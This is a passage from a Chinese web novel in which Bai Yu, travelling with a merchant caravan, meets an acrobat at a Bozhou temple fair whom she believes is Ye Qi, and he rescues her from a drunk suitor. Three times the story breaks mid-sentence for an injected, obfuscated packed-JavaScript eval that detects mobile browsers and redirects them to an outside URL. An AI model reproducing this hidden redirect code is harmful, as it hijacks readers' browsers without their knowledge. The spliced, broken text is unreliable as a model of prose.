等找到客栈住下来,白羽才听商队里的人说此地距永州已经有三十里路了,她悬了一路的心这才放下。 大娘给两人叫了水沐浴洗漱,白羽洗去脸上污渍,理顺头上乱发,换上家常衣裳,大娘和蕊儿这才发现白羽竟然是一个不折不扣的美人。 “姑娘,你……你叫什么名字啊?”大娘的话问得有些犹豫,照她看这姑娘如此人才,怎么会一个人落魄地在外流浪。 “大娘,蕊儿,你们叫我阿习就好。” “阿习姑娘,你家里是造了什么灾,要不要我们帮你报官?”天可怜见的,让一个小姑娘遭此灾难。 白羽抹了抹并不存在的眼泪,哀声道:“多谢大娘关心,实在是说来话长。我爹娘上山砍柴不慎跌落山崖,摔死了,家里只有一个老祖母,口不能言、目不能视、耳不能听,半月前也已病逝,叔叔伯伯欺我孤女,家中留下的几亩薄田、一间祖宅都被他们侵占了。竟还要……还要将我嫁给一个瘫子,我假意顺从,又趁着他们不备这才逃了出来。” “真是天杀的一群恶毒亲戚,”蕊儿在旁边抹眼泪,大娘一把将瘦弱的白羽搂进怀里,连声说道:“好孩子,别害怕,你既没处去不妨以后就跟着我们。你放心,这商队里有我家一份股,没人敢赶你走。” …… 第二天一早,商队准备开拔时,众人都发现队伍中多了一名容貌昳丽,身量苗条的妙龄淑女。 经过打听才知道这就是昨天孙大娘带上车的那个灰头土脸的“叫花子”! 这可惊掉了所有人的大牙,大家都觉得太不可思议了,于是这个不可思议导致的后果就是后面几天不断有陌生面孔来白羽她们所乘的马车跟前晃悠。 一会儿问饿没饿需不需要干粮,一会儿又问渴不渴需不需要喝水,过了一会儿实在没活说,跑来问需不需要停下来方便方便…… 这群人中最活跃的就是一个头戴方巾,五官坚毅,身材粗壮的汉子。 据大娘所说,这是她的外甥孙成,秦州人士,因父母常年出门在外,从小在她跟前儿长大,今年二十又一,至今还没给订个人家,此番这般殷勤,定是看上白羽了。 大娘是以长辈打趣晚辈小儿女情事的口吻说出来的,白羽却觉得自己不能不防,万一她真有让她当外甥媳妇的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780757|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想法,碍于救命恩人的关系,闹得太僵总归是不好。 于是后面几天在还有人拦车说话时,白羽总是表现的十分害怕却又强装镇定有礼的模样引起了孙大娘的注意。 所幸她运气不错,孙大娘也没那个意思,后面再有人趴窗,大娘就主动出面把人都赶走了。 连续行了七八天的路,本就是人困马乏,再加上夏日炎炎,骄阳似火,正午赶路时地面上的暑气蒸腾,和被太阳烘烤过的草丛一起灼烫着人的腿脚,实在是难受。 马匹也是不堪重负,一路上,人中暑,马中暑,闹得不可开交。 终于在距离播州城门还有二十里地时,商队的掌柜下令在播州休整三天后再出发。 队伍里惊爆出一阵阵的欢呼,最后十几里路,大家铆足了劲,仅用了不到一个时辰就走完了。 车队到达播州城门口时,也不过申时末,递交通关文书和引信证明后,一行人顺利进城。 商队掌柜姓钱,听名字就知道他肯定会发财。 钱掌柜安排孙成先一步去客栈订房间和安排晚饭,自己则带着商队其他人将货物暂存至官署仓房里,预付了三天的托管费用后,又带着众人前往客栈。 听说这两天是播州的城隍庙会日,大家洗罢风尘,又享用了一顿热热乎乎有汤有水的菜肴,养足了精神打算好好玩上三天。 回到房间,白羽换了一身衣服打算洗漱就寝。 蕊儿端了一篮子衣裳和针线走了进来,她把针线篮子放在桌上,回头就看见白羽已经脱衣散发,便好奇问道:“阿习姐姐,你这么早就要睡了,不出去逛逛庙会吗?” 一同相处了这么几天,白羽跟蕊儿也算相熟了,听她这么说就知道这小姑娘是想去了,不过自己一个人不好意思说。 白羽直接点出来:“你是想去玩了吗?” 蕊儿羞涩一笑,凭白添了几分可爱,“我还没见过播州的庙会是什么样的呢。我们那里过庙会的时候大家会对歌、跳多耶舞、演侗戏,还有舞狮、抬花炮,可热闹了呢!不过我年纪小,我阿娘不让我自己出去玩,都是成哥偷偷带我出去逛,这次我们回去刚好能赶上正月十五的花灯节,阿习姐姐到时候一定跟我们一起去。” 白羽也听得热闹,她的记忆里热闹事好像不太多,闻言也不由得心神向往,于是便点头答应了。 正想承诺明天一定带她去见识见识播州的庙会风光,转眼就看到蕊儿已经在灯下穿针引线了,膝头还搭着一件青灰色的外衣,看样式不像是她和孙大娘能穿的。 白羽问道:“你在补衣服吗?” 蕊儿点头,“这是我阿爹和成哥的外衣和袜子,我看它们都已经磨破了,就想着帮忙补补还能再穿一段时间。”她说完就又低下头专注在针线上,还嘱咐白羽早些休息,不必管她。 白羽赞了一声“真勤快”,就进了被窝安心入梦。 6. 庙会 依稀记得昨晚油灯亮了大半夜,卯时末,白羽起床时房间里已经没了蕊儿的身影,对面床铺也叠放得整整齐齐,缝补好的衣服搭在木施上,针脚平直细密,几乎看不出缝补的痕迹。 白羽把被子推成一堆,从床上跳下来穿上鞋换好衣服。 边对镜挽发边在心里感叹,年轻人就是精神好,一晚上睡那么几个时辰第二天还能起挺早。 推开门,蕊儿端了一盆水进来,喜气盈盈地招呼她:“阿习姐姐你醒啦,快过来洗把脸。今天的早饭是牛肉粉和鸡蛋糕,钱掌柜说大家吃完就可以自己去城内逛了。” 看着蕊儿熟练地把帕子打湿,然后反身递给自己,白羽从蕊儿手里接过温热的帕子,笑着说:“怎么感觉你更像姐姐?” 别看蕊儿年纪小,但她真的接人待物事事妥贴、处处周到。无论是刚开始见面就拿帕子给她擦脸,还是到客栈后看她去沐浴了,立刻找了一身自己的衣服给她穿,又或者是现在洗脸水是热的,擦脸的帕子是拧干了递到她手上的。 商队里从钱掌柜到伙计们,从做饭的大娘到驾车的马夫,男女老少没有不喜欢蕊儿的,足以见得这姑娘多招人喜欢。 听白羽这么说,蕊儿笑了,一双灵动的大眼睛弯成初一的月牙儿,嘴角牵动带出两颗稚嫩的虎牙,颊边梨涡含着浅笑,仿佛槐花季里蜜蜂酿造的蜜一般香甜,很是调皮地说:“爹娘年年跟着商队跑,我很小的时候就被带出来了,他们顾不上我的时候我就要学着自己照顾自己。不过,我没有弟弟妹妹,阿习姐姐也可以把我当做姐姐的,这样我就有妹妹了。” 白羽擦完脸,把帕子搭回盆沿上准备端出去倒掉,临走前腾出一只手捏着她的鼻子说:“你这个坏东西,占我便宜,我可比你大多了,想要妹妹找你阿娘去。” 两人简单用过一些早饭后,向蕊儿的父母打过招呼便一起上街了。 逛庙会比逛集会有意思,虽然还只是早上,但是热闹一点的地方已经被各种杂耍、泥人、簪花、糖画占了位置。 蕊儿个头低,拉着白羽的手在人群里穿梭如鱼得水,再加上她年纪小,真碰到了人,谁也不好意思跟一个小姑娘逞口舌。 所以,还真让她挤到了杂耍班子最前面,白羽牵着她的手没敢松开,生怕这么多人看丢了孩子。 一开始她也没顾上看表演的什么,好几次蕊儿想挣开她的手去鼓掌喝彩,她无奈跟她斗智斗勇,只能改为站在她身后,手扶在她肩膀上,把她圈在自己怀里。 稍稍安下心,这才有心思去看场中人的表演。只见一个小哥单脚站在一颗圆滚滚的木球上,一边滚动一边用头接别人抛过来的碗,另一边手里还在抖空竹,忙得不亦乐乎,他头顶此刻起码已经站了十只碗了。 据说他最好的成绩是三十只碗,白羽想象了一下三十只碗如果全部摞起来有多高,至少得有三尺——半人高了吧。 她唏嘘了一下,不得不佩服,也跟着蕊儿鼓起掌来。 场上气氛进行到最热烈的时刻,木球上的小哥手中的空竹抖得花样繁复,每一次在空中升腾,又会稳稳地落在他手中。 他身形高大挺拔,衽襟之下的脖颈白皙近乎透明,看起来极其易碎易折,下颌骨线条流畅清晰,一颗颗汗珠流过下颌骨,滑过喉结突起的脖颈,没入衣襟下的胸膛内。 虽然他仰着头,看不清他的面容几何,但是他头顶的碗仍然一个一个多起来。 身旁围观的好事者们一声一声替他们吆喝着碗的数量:“二十三、二十四、二十五……” 终于,“三十、三十一、三十二!” 少年头顶的碗站成了一条笔直的竖线,他手中的动作也在此时停了下来。 杂耍班的人从他手里接过空竹,他单脚滚着木球绕场走了一圈,人群中爆发出更加热烈的欢呼声。 这时有人拿着铜锣托盘递到围观人群面前,还没来得及说什么,大家纷纷慷慨解囊,铜钱落在托盘上的“叮叮当当”声格外清脆。 拿着托盘的姑娘绕场转了一圈来到白羽和蕊儿面前,她们俩都是无业游民,没有收入来源,白羽自己囊中羞涩,扶在蕊儿肩上的手掌都尴尬得出了细汗。 最后还是蕊儿掏的钱,她放了十文钱,包括白羽那份。 下一个杂耍节目要上场表演了,刚才还在木球上的少年轻盈地落在地上,慢慢接过头顶的碗,放入身后的箱子里。 他一直仰着的头终于低下来,可能是因为长时间保持一个动作,他边揉捏边活动脖子,场上已经开始另外一个顶枪的节目,白羽却全然无暇顾及。 约莫是三个多月前,她在佛现山一处山坳里被一对年轻夫妻所救,随后那对夫妻遇险,她又反过来救了他们。那对夫妻中的男子也有一双这样的泛着浅蓝色的眼眸。 白羽上前一把抓住杂耍少年的手腕,甚至有些疾言厉色般地问道:“叶启?你是叶启!你为何会在这里?” 那少年被她吓了一跳,说:“姑娘,你认错人了吧,再说男女授受不亲,还请你放开我。” 这个否认多么乏味无力,听听他说话的语气,再看看他无论遇到何种险境都能保持镇定从容温和有礼的姿态,以及那一双在阳光下泛着浅蓝光泽的瞳色。 他就是叶启! 既然遇到了她一定要问清楚,叶启究竟是不是……紫翎仙君。 “萱兰呢?怎么只有你一个人?”白羽向他身后的杂耍班子里检索了一番,没有发现那个娇小柔弱的话唠女子。 “姑娘我都说了你认错人了,我不是你说的什么叶启,我也不认识什么萱兰,你能放开我了吗?”被抓住手腕的少年怎么也挣脱不开白羽的禁锢。 身后有人喊:“六哥,到你上去助场了。” “来了!” 被称作六哥的少年喝了一声,转头对白羽说:“能放开我了吗,别打扰我赚钱,有什么事儿咱们等表演结束了再说可以吗?” 白羽失魂落魄地放开杂耍少年的手,他如一抹游鱼一般迅速滑入表演场地,把手中的链子抛给站在高台上的人,那人把链子系在最高处,用手攀着站上去。 围观者云集,喝彩声不断,表演十分精彩夺目,可白羽再也没有心情观看欣赏。 她仰着头焦急地等待杂耍少年从助场台上下来,那股说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780758|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清道不明的情绪不断牵引着她要去问个清楚。 问清楚叶启究竟是不是紫翎仙君? 问清楚萱兰……? 问清楚…… 又到底该问清楚什么,她却没了主意。 等再次见到叶启时,是在临街的一家酒楼,名叫尚家酒楼。 杂耍班一行人结束完表演正好是午饭时间,于是他们便收拾行李一齐去了酒楼吃饭。 白羽拉着蕊儿跟在他们后面也进了这家酒楼。酒楼分上下两层,蕊儿眼尖,一眼就看到延伸至二楼的木质楼梯口靠窗位置坐着杂耍班子里的人。 她们刚准备动身去找人,就有跑堂的立马迎上来,热情款款:“两位姑娘要点什么?” “我们找人。”白羽牵着蕊儿的手,妄图向前一步,却被跑堂小二再次阻拦。 “你们找谁啊,现在正是吃饭时间,我可不能放你们进去吵吵嚷嚷的不像话。” 白羽哑口无言,他说他不是叶启,她却连他真实名字叫什么都不知道,一时回答不上来。 跑堂小二一年三百六十日,过他眼之人数不胜数,一眼就能看出这一大一小两个姑娘的衣着绝非消费得起这里的饭菜,她们又不说找谁,更不敢放人进去,直嚷道让她们找家里大人来。 这方争执不下,食客们的眼光都被吸引过来,眼看着就要被赶出去了。 突然从转梯角走出来一个人,人未至声音先带了三分笑意:“她们是跟我们一起的,还请小二哥行个方便。” 跑堂小二看了一眼从楼梯背面走过来身穿褐色短打的少年,头发在头顶松松挽了个髻,用苍绿色发带和木簪固定住,整个人看着异常挺拔干净。认出他是杂耍班的人,拿下肩头搭着的布巾狠狠甩了两下才说:“怎么不早说!” 白羽看着叶启赔着笑送走了跑堂小二,她感觉很违和,以叶启的身份他不至于做到这个地步,以紫翎仙君的身份更甚。 他转头对着白羽和蕊儿说:“走吧,跟我来。” 回到他们桌位旁,杂耍班子里的人都疑惑地看过来,白羽只听他解释道:“贺老大,这两人我认识的。” 被叫作贺老大的中年窄面男子随意点点头,让他自便。 两人被安排在他那桌坐下,这桌都是几个年轻人,两男两女,再加上白羽和蕊儿一共六个人。 杂耍少年给两人递了碗筷,白羽接过传给蕊儿,顺口道谢:“叶启,谢谢你,还有刚才的事……” “诶,六哥,你什么时候改名叫叶启了!” “吃你的饭。”叶启用筷子头敲了他一下。 “姑娘,我跟你说过我不是叶启,你认错人了。我是许州人,无父无母,姓甚名谁我也忘了,不过大家都叫我一声六哥。至于你说的萱兰……” 白羽接口:“她是你的妻子。” 贺六晒然,“那就更不可能了,我今年尚未满十九,并无人为我说亲,又怎么会有妻子?” 白羽摇头:不,你就是叶启。 结束这边的对话,才发现蕊儿已经和桌上的其他人攀谈了起来,对话中白羽得知他们也是今日辰时刚到的播州。 7. 解围 吃完饭,杂耍班准备去找个客栈住下来。 白羽知道他们下午不准备出街表演,因为届时播州城隍庙会将会举行彩车游街,到时候会有各种各样戏团、舞乐队、舞龙舞狮经过,杂耍班混进去也赚不到多少眼球。 贺六走过去和贺班主说了句话,就脱离队伍向白羽和蕊儿走来,“走吧,送你们回去,家住哪里?” 白羽摇头:“我没有家。” 蕊儿补了一句:“不过我们住在隔壁街的福洞客栈。” 贺六领着两人步出酒楼,沿途经过一家糕点铺,蕊儿放开牵着白羽的手,跑过去买。贺六和白羽就站在铺子外面等她。 等待的过程中,贺六看了看身边的白羽,问她:“你叫什么名字?” 白羽想了想,摇摇头,“叫什么名字我也不记得了,不过你可以叫我阿习。” 阿习?两个字在贺六嘴里过了一遍,他心想,奇怪的名字。 “你们来播州是为了看庙会吗?”贺六问。 白羽说:“并不是,我是跟孙大娘一起的,就是蕊儿的母亲,他们的商队要去肃州贩货,途径永州的时候救下了我,于是便让我和商队同行。” 贺六刚想问,你遭遇了什么? 蕊儿在这时提着两包糕点回来了,贺六于是把想说的话咽了下去。 时至午时末刻,街上已经有了热闹的迹象,各家摊贩被通知紧急收摊,舞龙舞狮队在街头列队,沿街的家家户户门前悬挂着一长串的彩灯,男女老少皆装扮一新等候在道路两旁。 他们三个逆着人群从路旁小道挤出来,贺六抹了一把额角的汗,心有戚戚然地说:“我们得快一点了,等会儿街上人多起来我们可能就过不去了。” 白羽和蕊儿深表赞同,于是他们加快脚步在人群中穿梭。 贺六打头阵,蕊儿个矮在中间,白羽断后,很快就从最热闹的那条街走了出来。 回头看看整条街黑压压的人群,三人对视一眼默契地笑了起来。 转过里街南角的一家甜水铺子,斜对面就是商队暂住的福洞客栈,白羽牵起蕊儿的手,对贺六说:“今天的事谢谢你,就送到这里吧,对面就是客栈,我们自己回去就行。” 贺六看了眼对面的客栈招子,正午的阳光热烈,一丝微风也没有,旌尾的红色丝绦笔直下垂,在墙壁上投下一条倾斜的阴影。 他笑了一下说:“帮人帮到底,送佛送到西。都到门口了,我还是把你们都交给大人才能放心。” 他执意如此,白羽也不再劝他。三人一同穿过不甚宽敞的街道,走向福洞客栈的大门。 一进去就感觉厅堂前乱糟糟的,有几大包行李堆放在通往二楼的楼梯口,白羽隐约觉得掌柜的面前那人有点眼熟,回头就看见贺六已经走了过去,那汉子回过头来,混是贺老大的窄脸面孔。 白羽和蕊儿对视一眼,都明白了在贺六送她们回来这期间,杂耍班也选择了福洞客栈作为歇脚点。 真是无巧不成书,得来全不费工夫。白羽想。 她正愁找什么理由能跟叶启多待一会儿,没想到贺老大带着杂耍班自己送上门了。 白羽登时三步并作两步向贺六和贺老大走去,正巧贺老大交完住店钱,把找回的铜板并着路引一起揣进怀里,转过头就看到站在身后的姑娘。 认出她是在酒楼吃饭时贺六领进来的人,神情霎时认真了一瞬。 目光在她与贺六之间寻索一番,方问道:“姑娘也住这家客栈?原来贺六送你们竟把自己也送到了。” “贺班主叫我阿习就行。”白羽说。顺势把蕊儿推到身前,介绍道:“这是我妹妹蕊儿。” 贺老大看着面前一高一矮两个小姑娘的脸,五官神韵找不出一丝相同的地方。他只疑惑了一瞬,便又想到如今这兵荒马乱的年月,兴许是被收养的孩子吧。 因面前的姑娘和贺六有着相同的身世经历,贺老大看着她的眼神也柔和了几分。 白羽放下心中一件大事,故和二人道别后领着蕊儿走向楼梯。 木质楼梯有些年久失修,间隔两三块木板便有一块较崭新一些的,楼梯扶手却光滑莹润,活像打了一层腊似的,一点毛刺也没有。 白羽带着蕊儿刚跨过一块有些松散晃动的木板,迎面就碰上了正准备下楼的钱掌柜。 钱掌柜略微富态,约摸不惑之年,留着一把精心打理的美髯,身上总是带着一只羊角小梳,闲暇时就用梳子不断地梳理,人很精明面相却极为和善。 楼梯窄小,不能容两人并排通过。于是白羽快走了几步,上到二楼站定,和钱掌柜问好后看着他走下去。 楼梯两边的木栏杆像是他最忠诚的贴身护卫,紧紧拱卫着他前往一楼前堂。 等钱掌柜下到一楼,下面传来交谈声时,白羽和蕊儿对视一眼,默契地回到房间休息了。 一早上又是逛庙会,又是看杂耍,又是偶遇叶启,惊喜交加之下令人很是疲惫。 白羽都没等到蕊儿去和父母报平安回来就睡着了。 等她午睡清醒之时,却刚好到了吃晚饭时间。蕊儿推开门看到白羽坐在床边发呆,她笑嘻嘻地说:“阿习姐姐真能睡,这一觉睡了两个多时辰,我进来看了你好几次你都没醒。” 白羽不好意思地笑笑,走到水盆前把布巾打湿洗了把脸,才让自己清醒过来。 看着外面夕阳西下,万物都笼罩在一片金光之中的景象时,白羽惊觉竟然已经这个时辰了。 这一觉睡得确实又长又香。 她放下布巾,跟在蕊儿身后走出房门。听说钱掌柜为了犒劳大家这一路以来的辛苦,也为了庆祝播州庙会节,更为了今后的行程更加顺利,在楼下置办了好酒好菜招待众人。 还没踏上楼梯就已经听到了楼下传来的热闹:行酒令的声音、酒碗磕在一起的声音、男女调笑的诨骂声…… 十分旺盛鲜活,白羽踏着楼梯下来就瞧见了令她惊奇的一幕。 杂耍班的贺老大一行人竟也在,与商队众人相处十分融洽,甚至午饭时遇到的那几个青年已经和孙大娘的外甥孙成并几个商队里的青壮年勾肩搭背起来。 白羽在人群中四处寻索叶启的身影,还没等她看出个大概,就被喝酒正到酣处的孙成发现了。 孙成是个利落性子,向来想什么就做什么,比如现在他就是想和白羽在同一张桌子上吃饭喝酒。 于是他快走一步拉住蕊儿,口里叫嚷着:“小妹,来我们这桌!” 蕊儿被孙成粗鲁地拉走,白羽无奈却又放心不下,一改方才要向叶启走去的脚步,转而来到了孙成这桌。 为了方便照顾蕊儿,白羽谢绝孙成右手边的位置,在蕊儿旁边加了一个座。 即使被拒绝了孙成也不气馁,仍然主动为白羽和蕊儿摆好碗筷,并向白羽推荐菜色:“阿习姑娘,你吃这个乌江豆腐鱼,是这家店的拿手好菜,特别香!” 白羽连忙点头:“谢谢孙大哥……” 孙大哥?大圣也姓孙…… 白羽嘴上虽然答应着,但却并没有如他愿将筷子伸进鱼盆里,而是先帮蕊儿夹了几道离她较远的菜肴。 孙成看她不为所动,走到她旁边一个杂耍班年轻人后面拍了拍他的肩膀,示意跟他换个位置。 年轻人认出她是中午被贺六拉来和他们一起吃过饭的姑娘,于是远远看了一眼邻桌的贺六,抱着乐得看好戏的心态让了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780759|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 孙成甫一坐下就十分热心地为白羽夹菜、添茶水。桌上的人都在看他们,搞得白羽很不自在,身旁的孙成还十分期待地等着她品尝珍馐美味,白羽为了尽快结束这个局面,只能道完谢夹起菜放进嘴里。 殊不知,孙成一看她吃了他夹给她的菜,顿时心满意足地捧起酒坛大口喝了起来。 白羽无暇思考孙成到底想怎么样,她只希望赶紧结束这场闹剧。 宴席开始的时间本就早,是白羽来得比较晚,所以在她没来之前孙成已经跟其他人喝了不少酒了。白羽来后,他得意忘形又喝了不少,整个人看着就有些东倒西歪,醉态横生。 只见他摇摇晃晃地从桌下起了一坛新酒,又捞过白羽面前的海碗,“哗啦啦”倒了一满碗,端给她后作势要跟她拼酒。 场中情势倒转,白羽拼命拒绝,孙成强行劝酒,一推一拉间,两人都红了脸。 白羽是急的,孙成是喝的。 就在她十分为难之际,从身旁探出一条结实有力的手臂,手上端着酒碗,声音朗朗道:“方才我们贺老大和你们商队钱掌柜商量结伴而行,那我与诸位今后都是同路兄弟,合该和孙兄喝上一碗酒。” “孙兄,请!”说着将酒碗往前一递,刚好挡住了孙成看向白羽的视线,白羽顺势躲到他身后,看着他和孙成喝起酒来,浑然忘却了还有她这么一个人。 总不会这么巧合,所以……他是来替她解围的? 可是为什么? 且说在白羽下楼后,贺六本该跟在贺老大身边应酬喝酒的,他的视线却不由自主被白羽的身影牵着走。 没办法,她……很夺目。 在这个民风朴素,装潢一般的普通客栈里,即使她只是一身靛蓝色粗布裙,满头青丝用一支木簪挽在脑后,下半部分用和衣裙同色的发带系住,未施脂粉已然亭亭玉立。 不过很快他就把落在白羽身上的注意力收回了,贺老大和钱掌柜有意两队结伴,有些细节需要再行商定。他一直被作为贺老大默许的接班人培养,所以他也需要听着。 等商议得差不多了,再回头看,却是看到她被一个醉醺醺的青年男子为难,想也没想便端着酒冲过去了。 感觉到白羽躲在他身后悄悄松了一口气,贺六唇角牵起了一抹不自知的笑意。他的高大完全可以笼罩她的纤细,让孙成没理由再想起白羽来。 酒过三巡,孙成彻底趴下了。 时业已近黄昏,天色虽还未大暗,但太阳早已下山,街上花灯堆叠,人流如织,到处都是欢声笑语,这样的热闹要持续三天。 客栈里的宴席也散了,孙成被身边人架着回房,他身体软塌塌的,已经醉到失去意识。 孙大娘走过来看到孙成这副模样,皱着眉摸摸他的头,颇为嫌弃地说道:“怎么喝成这样了?行了,赶紧把他拖回去吧。” 叮嘱完蕊儿和白羽早点休息,就随着丈夫上楼去了。 看来孙大娘并没有发现孙成刚才有为难过她,这样也好,省得两下口舌。白羽心想。 “阿习姐姐,你还好吗?”蕊儿拉拉白羽的衣袖,有些羞愧地说。 刚才就在孙成强行劝酒的时候,蕊儿看气氛有点紧张了,就准备起身拦着,却被她身旁与孙成换座位的好事年轻人一把按下了。白羽捏了捏蕊儿头顶的丫髻,笑得柔软:“我无事,不必担心。” 白羽回头正面对着贺六有些迷蒙的眼眸,为了灌醉孙成他也喝了不少。 “你还好吗?”两个人同时出声。 贺六揉了一把后脑勺,为宽她的心,对白羽说:“我酒量还可以,不用担心。你呢?” “我没事,不过今天真的要谢谢你,帮了我两次。” 8. 玉佩 “我不叫叶启” 昨夜的事以叶启要送她们上楼却被贺班主叫走收尾为结局。回房间后,两人打了水洗漱完就上床歇息了。 播州庙会第二天,听说今天有花灯展,到了晚上还有篝火晚会,届时城中必定人满为患。所以叶启他们今天也会去城中最大的广场上演杂耍。 白羽很早就和蕊儿约好今天要全程跟着杂耍班走,所以卯正时分她就已经起床了。 叫醒还在迷糊的蕊儿,端来洗脸水,一边给她拿衣服一边把床帐勾住,看蕊儿已经坐起来了,便走去铜镜前挽发。 “蕊儿,快起床。我们梳洗完可以先去良江巷逛早市,我昨天问过掌柜的了,他说那里的早市十分热闹,每日卯时起巳时落,有一家非常有名的牛肉粉是必吃。”白羽边说边挽了一个利落的发髻,插上木簪,并用发带束好披散下来的发丝,继续兴致勃勃地描绘。 “等逛完早市,就可以一路走过去看花灯展。据说这次方圆百里的百姓都会来凑热闹,所以灯饰大家邓婆婆也会带着她的得意之作来参展。我们得去早点,占个好位置。” 蕊儿瞌睡劲儿还没散,全凭着肌肉记忆才能穿衣洗漱。一把凉水浇在脸上,她彻底清醒了。 等两人都拾掇好,蕊儿叠了被子,准备出门。 门一拉开,白羽吓得短暂地叫了一声。 “啊!谁在那儿?” 蕊儿凑上前来,“阿习姐姐,发生什么事了?” 两人定睛一看,门外面靠坐着一个人,许是没有防备门会突然打开,直挺挺地倒在了门口,霎时摔得四荤八素。 孙成睡到半夜突然清醒,吵醒了和他同住的一名青年,盘问自己喝醉了有没有做出什么荒唐事。 商队青年一五一十地交代了他的所作所为,孙成惊起了一身冷汗,醉意散得一干二净,他本意并非如此啊! 他只是看着阿习姑娘就心里高兴,有意同她拉近一点距离,让她不要怕他不要躲着他,谁知却孟浪至此,反而冒犯了她…… 忐忑、羞愧、不安……种种情绪交织之下,后半夜再难睡得安稳,索性不到五更天就爬起来去白羽和蕊儿门口等着。 原本是想着第一时间向白羽赔礼道歉的,只是没想到等着等着就靠在门板上睡着了。 孙成摸着头起身,看到白羽的第一时间笑得很是尴尬,话也说的磕磕巴巴,“阿习姑娘,你……你们要出门吗?昨晚实在是对不住你,我原本是不太容易醉的,谁知道昨晚怎么就干了这么个糊涂事!” “阿习姑娘,你要是实在气不过你打我两下出出气!”说着他从背后抽出一根柳条,柳条鲜绿,还带着旺盛的叶子,看得出来是刚从树上折下来的。 孙成攥着白羽的手就要往自己身上招呼,把白羽吓得连忙抽出来,退了一步。 “孙大哥不必多礼,其实昨夜之事幸得杂耍班的叶……贺六哥解围,你我都应该多谢他才是。” 白羽的话点醒了孙成,他一拍脑袋叫道:“阿习妹子你说得太对了,昨晚要不是贺六解围,我指不定还得做出多少糊涂事,向你道完歉,我还得赶去向贺老弟道谢呢!” 说着他让开门口位置,“你们要出门是吧,快走快走,是我耽误你们了。” 两方人道别,白羽领着蕊儿走去良江早市。 路上,蕊儿观察着白羽的神色,在犹豫中还是小心翼翼地开口:“阿习姐姐,你不要生气,我哥哥他这个人就是性子直,心思不够细腻,但是他绝对没有坏心的。” 白羽心里想的是等会去了早市都要吃什么,闻言连忙从美食中揪回思绪,揉了一把蕊儿的小丫髻,笑着道:“我没有生气。” 蕊儿观察她的脸色,确实不像生气的样子,这才放下心来。 卯时初刻的播州街道已经有了人间烟火的气息,许是因为今日庙会,出来摆摊的摊主犹如赶集一般热闹。 远处有鬓边别着一只嫩荷,两肩担着一条扁担,边走边叫卖自己竹筐里的吃食和小玩意儿的货郎;也有肘弯挎着竹篮,里面装了一把新鲜嫩绿犹带露珠的韭叶,每到一个摊位都热情攀谈的阿婶;还有一群庙会日不必上学堂的顽童,人人手上抓着一面用泥巴糊的面具,上面用彩漆画着夸张的五官,正走街窜巷扮演一出神官判案。 白羽和蕊儿一路走一路瞧着新奇玩意儿,终于来到她们此行的目的地——良江巷。 良江巷不愧是播州最出名的早市,如此清晨便已人声鼎沸,只见整条街巷两侧都是遮雨棚,棚下有热气腾腾的各色馒头汤饼,炸油条糖糕,伴着酒旗茶旗飘飞翻腾出的油香,勾人馋虫。 白羽拽着蕊儿三步并作两步冲到一位炸糖糕的阿婆面前,大声道:“来四只糖糕!” 炸糖糕的婆婆刚把几只白生生的糕胚放入油锅,正准备拿长筷翻动,就被白羽的喊声吓了一跳,抬头看见她们,方才轻声抱怨:“姑娘吓我老婆子一跳,四只糖糕是吧,给你包起来?” 炸好的糖糕金黄酥脆,油滋滋香喷喷地躺在油锅上方的挡板里,白羽馋得厉害,连连摆手,“不用包了,我们就在这吃。” 接过阿婆递过来的糖糕,白羽将垫着草纸的两只热乎糖糕一下子塞进蕊儿手里,嘴里边嚼边说:“快吃吧,热乎的。” 蕊儿咬了一口酥皮,香甜的糖浆就充斥着她的口腔,刚出锅就是最好吃的时候。 两人在路边解决完两个糖糕,便携手继续往里面走,不一会儿手里就拿满了良江早市的有名小吃。 在到达最有名的牛肉粉摊位时,白羽和蕊儿几乎已经吃饱了。 但她们还是点了两碗粉坐下,一边品尝着香辣爽口的粉,一边看着过往行人逛早市。 突然身后传来的声响惹了她们的眼,白羽回头看见了一位身穿华服锦衣的年轻公子,一大早呼啦啦地打着手中折扇,眉目间尽是不耐之色,身边跟着两位随从和一名大管家模样的人。 大管家还在耐心哄劝着:“殿,公子,您这次好不容易能出门游玩,多亏了太……老夫人她帮您说话,她最爱这良江早市的茉莉花糕了,您说什么也得在回去之前给她带一份。” “知道了知道了,我又没说不去,你非要一大早就把我叫起来,明天来买不也一样吗?”锦衣公子一把收了折扇,神色更为不耐。 见状,大管家也不敢再说什么。 一行四人很快就走出了白羽的视线范围,本是一段插曲,白羽也没有过多在意。 她和蕊儿解决完手里的吃食,便徒步走去灯展街,时至隅中,街上的人渐渐多了起来。 白羽牵着蕊儿在人堆里三挤四挤,大清早的给她挤出一身汗。 看着面前仍是人海的景象,白羽手背擦去额角的汗,想着还是昨天有叶启开路比较好。 